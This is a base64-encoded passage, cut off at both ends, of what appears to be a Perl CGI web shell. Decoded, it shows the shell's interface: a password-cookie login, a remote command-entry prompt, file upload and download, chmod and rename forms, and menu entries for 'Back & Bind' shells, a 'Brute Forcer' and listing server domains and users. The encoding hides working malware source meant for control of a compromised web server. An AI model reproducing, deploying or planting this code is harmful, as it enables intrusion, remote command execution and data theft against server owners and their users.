JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBp KS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxl KQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgi ICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpm dW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxc XFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixc XFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgi RmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9u PScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0 eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1 Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9 JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFs dWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnRE aXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsK CWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9u IHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0 RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0k RW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJ fWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0i PGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3Jp cHQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBj IiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWln aHQ9IjAiPgo8Y2VudGVyPjxjb2RlPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2Vs bHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgoJPHRkIGFsaWduPSJjZW50ZXIiIHJv d3NwYW49Mz4KCQk8Yj48Zm9udCBzaXplPSIzIj5vLS0tWyAgJEVkaXRQZXJzaW9uIF0tLS1vPC9m b250PjwvYj4KCTwvdGQ+Cgk8dGQ+CgkJJGluZm8KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250 IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8 Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cjwv dHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8 L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVu dERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5j b2RlQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxv YWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3Jp cHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8 L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9h PiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8 L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4g fAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2Vyczwv YT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0 YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29s c3Bhbj0iMiI+CiRpZAo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRh IiBjb2xvcj0iI0ZGRkZGRiIgPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRz IHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNj cmVlbgp7CglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hl ZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5k ZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsK ICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAg dGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNo ZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsK ICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6 IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0 aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1 cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJy ZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMu ZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5n VGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMu cnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9 ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVy ID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50 SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9 IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVu KCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5y dW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIp IHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVt ZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2 ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAg fQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAi IjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8s ICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIg PCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhp cy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVm ZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hh cisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5v cmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsK ICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAg ICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVu dENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRo aXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQo dGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5y dW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRo aXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhp cy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7 CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJu OwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09 ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIg Kz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJl bnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisr OwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhU TUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQu Y2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAg IHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVu dFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAg ICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxl bWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0 aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0 aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENo YXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5l bGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVs c2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAg ICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7 CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxicj4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2Ny aXB0Ij4KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAs IGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFy W2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7ClR5cGluZ1RleHQucnVuQWxsKCk7Cgo8L3Njcmlw dD4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hh cnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRW5jb2RlKCQpewoJbXkgJHN0ciA9IHNo aWZ0OwoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkp L3NlZzsKCXJldHVybiAkc3RyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgaHRtbCBz cGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMo JCl7CglteSAkdGV4dCA9IHNoaWZ0OwoJJHRleHQgPX4gcy8mLyZhbXA7L2c7CgkkdGV4dCA9fiBz LyIvJnF1b3Q7L2c7CgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7CgkkdGV4dCA9fiBzLzwvJmx0Oy9n OwoJJHRleHQgPX4gcy8+LyZndDsvZzsKCXJldHVybiAkdGV4dDsKfQojLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1 YiBBZGRMaW5rRGlyKCQpCnsKCW15ICRhYz1zaGlmdDsKCW15IEBkaXI9KCk7CglpZigkV2luTlQp Cgl7CgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsKCX1lbHNlCgl7CgkJQGRpcj1zcGxp dCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsKCX0KCW15ICRwYXRoPSIiOwoJbXkgJHJlc3VsdD0i IjsKCWZvcmVhY2ggKEBkaXIpCgl7CgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7CgkJJHJlc3VsdC49 IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBh dGhTZXAuIjwvYT4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQg bG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UK ewoJcHJpbnQgPDxFTkQ7CgoKUGFzc3dvcmQ6PGJyPgpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPgpF TkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBs b2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXBy aW50IDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExv Y2F0aW9uIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4KTG9n aW4gOiBBZG1pbmlzdHJhdG9yPGJyPgpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5h bWU9InAiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIi Pgo8L2Zvcm0+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIGZvb3Rl ciBmb3IgdGhlIEhUTUwgUGFnZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VG b290ZXIKewoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNm Zjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwv Y2VudGVyPjwvYm9keT48L2h0bWw+IjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVp dmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3Nl cyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBf Q09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFs KSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KIy0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9n cyBvdXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4KewoJcHJp bnQgIkNvbm5lY3Rpb24gY2xvc2VkIGJ5IGZvcmVpZ24gaG9zdC48YnI+PGJyPiI7Cn0KCiMtLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2Vy IHRvIGxvZ2luIGFnYWluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBlcmZvcm1Mb2dvdXQK ewoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNv b2tpZQoJJlByaW50UGFnZUhlYWRlcigicCIpOwoJJlByaW50TG9nb3V0U2NyZWVuOwoKCSZQcmlu dExvZ2luU2NyZWVuOwoJJlByaW50TG9naW5Gb3JtOwoJJlByaW50UGFnZUZvb3RlcjsKCWV4aXQ7 Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBs b2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBw YWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3Jk IGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5 cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29y ZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRM b2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyOwoJCXByaW50ICZMaXN0RGlyOwoJ fQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaAoJewoJCSZQcmludFBhZ2VIZWFkZXIoInAi KTsKCQkmUHJpbnRMb2dpblNjcmVlbjsKCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21l IHBhc3N3b3JkIHdhcyBlbnRlcmVkCgkJewoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7CgoJ CX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CiMt LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0 aGUgdXNlciB0byBlbnRlciBjb21tYW5kcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmlu dENvbW1hbmRMaW5lSW5wdXRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRD dXJyZW50RGlyKTsKCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBm b250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7Cgkk UHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRt aW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CglyZXR1cm4gPDxFTkQ7Cjxmb3JtIG5h bWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iIG9uU3VibWl0PSJF bmNvZGVyKCdjJykiPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1h bmQiPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50 RGlyIj4KJFByb21wdAo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiIGlkPSJj Ij4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9m b3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0g dGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMKIy0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtCnsKCSRFbmNvZGVDdXJyZW50RGlyID0gRW5j b2RlRGlyKCRDdXJyZW50RGlyKTsKCW15ICRkaXIgPSAmQWRkTGlua0RpcigiZG93bmxvYWQiKTsg CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRp cl1cJCAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlv 